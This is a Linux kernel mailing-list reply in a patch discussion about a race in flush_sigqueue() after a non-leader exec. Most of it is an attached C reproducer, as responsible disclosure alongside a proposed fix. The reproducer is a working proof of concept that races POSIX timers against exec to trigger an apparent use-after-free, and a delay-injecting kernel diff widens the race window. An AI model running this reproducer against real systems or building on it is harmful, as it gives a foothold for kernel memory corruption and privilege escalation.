Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Hyunwoo Kim <imv4bel@gmail.com>]

On Sun, Aug 23, 2026 at 02:47:10PM +0200, Oleg Nesterov wrote:
> On 08/22, Hyunwoo Kim wrote:
> >
> > commit fb3bbcfe344e ("exit: change the release_task() paths to call
> > flush_sigqueue() lockless") moved the ->pending flush from __exit_signal()
> > to release_task(), where it runs without ->siglock. The justification was:
> >
> >   after the exiting task passes __exit_signal() lock_task_sighand() can't
> >   succeed and pid_task(tmr->it_pid) will return NULL
> >
> > That second half does not hold for the old group leader in a non-leader
> > exec(). de_thread() calls exchange_tids() before release_task(leader), so
> 
> Indeed... Thanks a lot!
> 
> I need some time to (try to ;) fully understand the problem and your fix...
> I'll read your patch again tomorrow with a clear head.
> 
> Now... I hope that the next paragraph
> 
>     This means that after __exit_signal(tsk) nobody can play with tsk->pending
>     or (if group_dead) with tsk->signal->shared_pending,
> 
> from the changelog is still true, so the only problem is that it is not
> safe to play with q->list, right?

Right. lock_task_sighand() still fails, so ->pending is safe. The timer
does not go through the task, it holds q = &tmr->sigq directly.

> 
> > --- a/kernel/signal.c
> > +++ b/kernel/signal.c
> > @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue)
> >  	sigemptyset(&queue->signal);
> >  	while (!list_empty(&queue->list)) {
> >  		q = list_entry(queue->list.next, struct sigqueue , list);
> > -		list_del_init(&q->list);
> > +		/*
> > +		 * Pairs with the list_empty() in posixtimer_send_sigqueue().
> > +		 * release_task() gets here without ->siglock.
> > +		 */
> > +		list_del_init_careful(&q->list);
> >  		__sigqueue_free(q);
> 
> Can't we avoid list_del_init() altogether? Can't flush_sigqueue() simply do
> 
> 	list_for_each_entry(q, &pending->list, list)
> 		__sigqueue_free(q);
> 
> ?

__sigqueue_free() does kmem_cache_free() for anything which is not
PREALLOC, so the iterator reads q->list.next after it is freed.

And flush_signals() and selinux_bprm_committed_creds() call it on live
tasks, so the queue has to end up empty.

So,

	list_for_each_entry_safe(q, n, &queue->list, list)
		__sigqueue_free(q);
	INIT_LIST_HEAD(&queue->list);

If you are fine with it, could you submit this patch yourself? I am also
attaching the reproducer and the mdelay diff. I hope they help.


Best regards,
Hyunwoo Kim

---

diff:

diff --git a/include/linux/list.h b/include/linux/list.h
index 19212bf..f6e2beb 100644
--- a/include/linux/list.h
+++ b/include/linux/list.h
@@ -48,9 +48,12 @@
  * Initializes the list_head to point to itself.  If it is a list header,
  * the result is an empty list.
  */
+extern void __const_udelay(unsigned long xloops);
+
 static inline void INIT_LIST_HEAD(struct list_head *list)
 {
 	WRITE_ONCE(list->next, list);
+	__const_udelay(1 * 1000UL * 4295UL);	/* mdelay(1) */
 	WRITE_ONCE(list->prev, list);
 }


PoC:

#define _GNU_SOURCE
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#ifndef SIGEV_THREAD_ID
#define SIGEV_THREAD_ID 4
#endif

static pid_t old_leader_tid;
static long attempt_lead_ns;
static int timer_count = 20000;
static int timer_signal;
static int callback_offset = 1400;
static int callback_stride = 16;
static int use_preempt_train = 1;

static int64_t mono_ns(void)
{
	struct timespec ts;

	if (clock_gettime(CLOCK_MONOTONIC, &ts)) {
		perror("clock_gettime");
		_exit(2);
	}
	return (int64_t)ts.tv_sec * 1000000000LL + ts.tv_nsec;
}

static void print_security_context(void)
{
	char line[512];
	FILE *file;

	file = fopen("/proc/self/status", "re");
	if (!file) {
		perror("fopen /proc/self/status");
	} else {
		while (fgets(line, sizeof(line), file)) {
			if (!strncmp(line, "Uid:", 4) ||
			    !strncmp(line, "Gid:", 4) ||
			    !strncmp(line, "CapEff:", 7) ||
			    !strncmp(line, "NoNewPrivs:", 11))
				fprintf(stderr, "status %s", line);
		}
		fclose(file);
	}

	file = fopen("/kernel.config", "re");
	if (!file) {
		perror("fopen /kernel.config");
		return;
	}
	while (fgets(line, sizeof(line), file)) {
		if (!strcmp(line, "# CONFIG_USER_NS is not set\n")) {
			fprintf(stderr, "kernel_config CONFIG_USER_NS=n\n");
			break;
		}
		if (!strncmp(line, "CONFIG_USER_NS=", 15)) {
			fprintf(stderr, "kernel_config %s", line);
			break;
		}
	}
	fclose(file);
}

static struct timespec ns_to_ts(int64_t ns)
{
	struct timespec ts = {
		.tv_sec = ns / 1000000000LL,
		.tv_nsec = ns % 1000000000LL,
	};

	return ts;
}

static int ktimer_create_for_tid(pid_t tid)
{
	struct sigevent sev;
	int id = -1;

	memset(&sev, 0, sizeof(sev));
	sev.sigev_notify = SIGEV_SIGNAL | SIGEV_THREAD_ID;
	sev.sigev_signo = timer_signal;
	sev._sigev_un._tid = tid;
	if (syscall(SYS_timer_create, CLOCK_MONOTONIC, &sev, &id))
		return -1;
	return id;
}

static int ktimer_arm_abs(int id, int64_t expiry)
{
	struct itimerspec its;

	memset(&its, 0, sizeof(its));
	its.it_value = ns_to_ts(expiry);
	return syscall(SYS_timer_settime, id, TIMER_ABSTIME, &its, NULL);
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set))
		perror("sched_setaffinity");
}

static void monitor_old_worker_tid(pid_t worker_tid, int64_t target)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(2, &set);
	(void)sched_setaffinity(0, sizeof(set), &set);
	while (!syscall(SYS_tgkill, old_leader_tid, worker_tid, 0))
		asm volatile("pause" ::: "memory");
	fprintf(stderr, "monitor old_worker_unhash_minus_expiry_ns=%lld errno=%d\n",
		(long long)(mono_ns() - target), errno);
	_exit(0);
}

static void run_preempt_train(int64_t target)
{
	enum { TIMERFDS = 900, GROUPS = 14 };
	int fds[TIMERFDS];

	pin_cpu(0);
	for (int i = 0; i < TIMERFDS; i++) {
		struct itimerspec its;
		int group = i % GROUPS;

		fds[i] = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC);
		if (fds[i] < 0)
			_exit(3);
		memset(&its, 0, sizeof(its));
		its.it_value = ns_to_ts(target - 50000 +
					    (int64_t)group * 50000);
		if (timerfd_settime(fds[i], TFD_TIMER_ABSTIME, &its, NULL))
			_exit(3);
	}
	{
		struct timespec done = ns_to_ts(target + 5000000);

		while (clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME,
				       &done, NULL) == EINTR)
			;
	}
	for (int i = 0; i < TIMERFDS; i++)
		close(fds[i]);
	_exit(0);
}

static void *exec_worker(void *unused)
{
	char lead_arg[32], count_arg[32], target_arg[32];
	char *argv[] = { (char *)"poc", (char *)"--post", lead_arg,
			 count_arg, target_arg, NULL };
	int64_t target, start;
	int *ids;
	int *near_order;
	unsigned char *near_used;
	int made = 0;

	(void)unused;
	pin_cpu(1);

	usleep(20000);

	ids = calloc((size_t)timer_count, sizeof(*ids));
	near_order = calloc((size_t)timer_count, sizeof(*near_order));
	near_used = calloc((size_t)timer_count, sizeof(*near_used));
	if (!ids || !near_order || !near_used) {
		perror("calloc");
		_exit(2);
	}

	for (int i = 0; i < timer_count; i++) {
		ids[i] = ktimer_create_for_tid(old_leader_tid);
		if (ids[i] < 0 || ktimer_arm_abs(ids[i], 1))
			break;
		made++;
	}
	if (made < 128) {
		fprintf(stderr, "only %d timers prepared: %s\n", made,
			strerror(errno));
		_exit(2);
	}

	start = mono_ns();
	target = start + 300000000LL;
	for (int i = 0; i < made; i++) {
		if (ktimer_arm_abs(ids[i], target + 2000000000LL)) {
			fprintf(stderr, "future arm %d failed: %s\n", i,
				strerror(errno));
			_exit(2);
		}
	}
	int near_count = 0;
	for (int k = 0; ; k++) {
		int phase = 0;
		int idx;

		if (use_preempt_train) {
			int slot = k % 32;

			phase = slot < 16 ? -192 + slot * 24 :
				192 - (slot - 16) * 24;
		}
		idx = callback_offset + callback_stride * k + phase;
		if (callback_offset + callback_stride * k - 192 >= made)
			break;
		if (idx < 0 || idx >= made || near_used[idx])
			continue;
		near_used[idx] = 1;
		near_order[near_count++] = idx;
	}
	for (int k = near_count - 1; k >= 0; k--) {
		int idx = near_order[k];

		if (ktimer_arm_abs(ids[idx], target)) {
			fprintf(stderr, "near arm %d failed: %s\n", idx,
				strerror(errno));
			_exit(2);
		}
	}

	pin_cpu(0);

	if (mono_ns() >= target - attempt_lead_ns) {
		fprintf(stderr, "setup too slow for lead %ld\n", attempt_lead_ns);
		_exit(3);
	}
	{
		pid_t worker_tid = (pid_t)syscall(SYS_gettid);
		pid_t monitor = fork();

		if (!monitor)
			monitor_old_worker_tid(worker_tid, target);
		if (monitor < 0)
			perror("fork monitor");
		if (use_preempt_train) {
			pid_t competitor = fork();

			if (!competitor)
				run_preempt_train(target);
			if (competitor < 0)
				perror("fork preempt train");
			if (setpriority(PRIO_PROCESS, 0, 19))
				perror("setpriority");
		}
	}
	while (mono_ns() < target - attempt_lead_ns)
		asm volatile("pause" ::: "memory");

	snprintf(lead_arg, sizeof(lead_arg), "%ld", attempt_lead_ns);
	snprintf(count_arg, sizeof(count_arg), "%d", made);
	snprintf(target_arg, sizeof(target_arg), "%lld", (long long)target);
	execv("/poc", argv);
	perror("execv /poc");
	_exit(2);
}

static void run_one_attempt(long lead_ns)
{
	pthread_t th;

	attempt_lead_ns = lead_ns;
	old_leader_tid = (pid_t)syscall(SYS_gettid);
	if (pthread_create(&th, NULL, exec_worker, NULL)) {
		perror("pthread_create");
		_exit(2);
	}

	syscall(SYS_exit, 0);
	__builtin_unreachable();
}

static int post_exec(int argc, char **argv)
{
	long lead = argc > 2 ? strtol(argv[2], NULL, 10) : -1;
	int made = argc > 3 ? atoi(argv[3]) : -1;
	int64_t target = argc > 4 ? strtoll(argv[4], NULL, 10) : 0;
	int64_t delta = mono_ns() - target;

	fprintf(stderr, "post lead_ns=%ld timers=%d now_minus_expiry_ns=%lld\n",
		lead, made, (long long)delta);

	usleep(500000);

#ifdef NO_TGKILL_EXIT_REAP
	fprintf(stderr, "post no_tgkill_exit_reap=1\n");
#else
	for (int i = 0; i < 256; i++) {
		if (syscall(SYS_tgkill, getpid(), syscall(SYS_gettid),
			    timer_signal) && errno != EAGAIN) {
			perror("tgkill");
			break;
		}
	}
#endif
	return 0;
}

int main(int argc, char **argv)
{
	static const long leads_ns[] = {
		220000, 240000, 260000, 280000, 300000, 320000,
		340000, 360000, 380000, 400000, 425000, 450000,
		475000, 500000, 550000, 600000, 700000, 800000,
		220000, 240000, 260000, 280000, 300000, 320000,
		340000, 360000, 380000, 400000, 425000, 450000,
		475000, 500000, 550000, 600000, 700000, 800000,
	};
	struct rlimit lim = { .rlim_cur = 200000, .rlim_max = 200000 };
	sigset_t blocked;
	long forced_lead = -1;
	int forced_repeats = 0;

	timer_signal = SIGRTMIN + 6;

	if (argc > 1 && !strcmp(argv[1], "--post"))
		return post_exec(argc, argv);
	if (argc > 1) {
		forced_lead = strtol(argv[1], NULL, 10);
		forced_repeats = argc > 2 ? atoi(argv[2]) : 1;
		if (forced_lead <= 0 || forced_repeats <= 0)
			return 2;
		if (argc > 3) {
			timer_count = atoi(argv[3]);
			if (timer_count < 128)
				return 2;
		}
		if (argc > 4)
			callback_offset = atoi(argv[4]);
		if (argc > 5)
			callback_stride = atoi(argv[5]);
		if (argc > 6)
			use_preempt_train = atoi(argv[6]) != 0;
		if (callback_offset < 0 || callback_stride <= 0)
			return 2;
	}

	pin_cpu(0);
	if (setrlimit(RLIMIT_SIGPENDING, &lim))
		perror("setrlimit RLIMIT_SIGPENDING");

	sigemptyset(&blocked);
	sigaddset(&blocked, timer_signal);
	if (pthread_sigmask(SIG_BLOCK, &blocked, NULL)) {
		perror("pthread_sigmask");
		return 2;
	}

	if (!getuid()) {
		if (setgid(65534) || setuid(65534)) {
			perror("drop privileges");
			return 2;
		}
	}
	print_security_context();
	fprintf(stderr, "controller uid=%d timers=%d\n", getuid(), timer_count);

	for (size_t i = 0;
	     i < (forced_lead > 0 ? (size_t)forced_repeats :
		  sizeof(leads_ns) / sizeof(leads_ns[0]));
	     i++) {
		pid_t child = fork();
		long lead = forced_lead > 0 ? forced_lead : leads_ns[i];
		int status;

		if (forced_lead <= 0) {
			callback_offset = 500 + (int)(i % 12) * 300;
			callback_stride = 14 + (int)(i / 12) % 3;
		}

		if (child < 0) {
			perror("fork");
			return 2;
		}
		if (!child)
			run_one_attempt(lead);
		if (waitpid(child, &status, 0) != child) {
			perror("waitpid");
			return 2;
		}
		fprintf(stderr, "trial lead_ns=%ld status=%#x\n",
			lead, status);
	}
	return 0;
}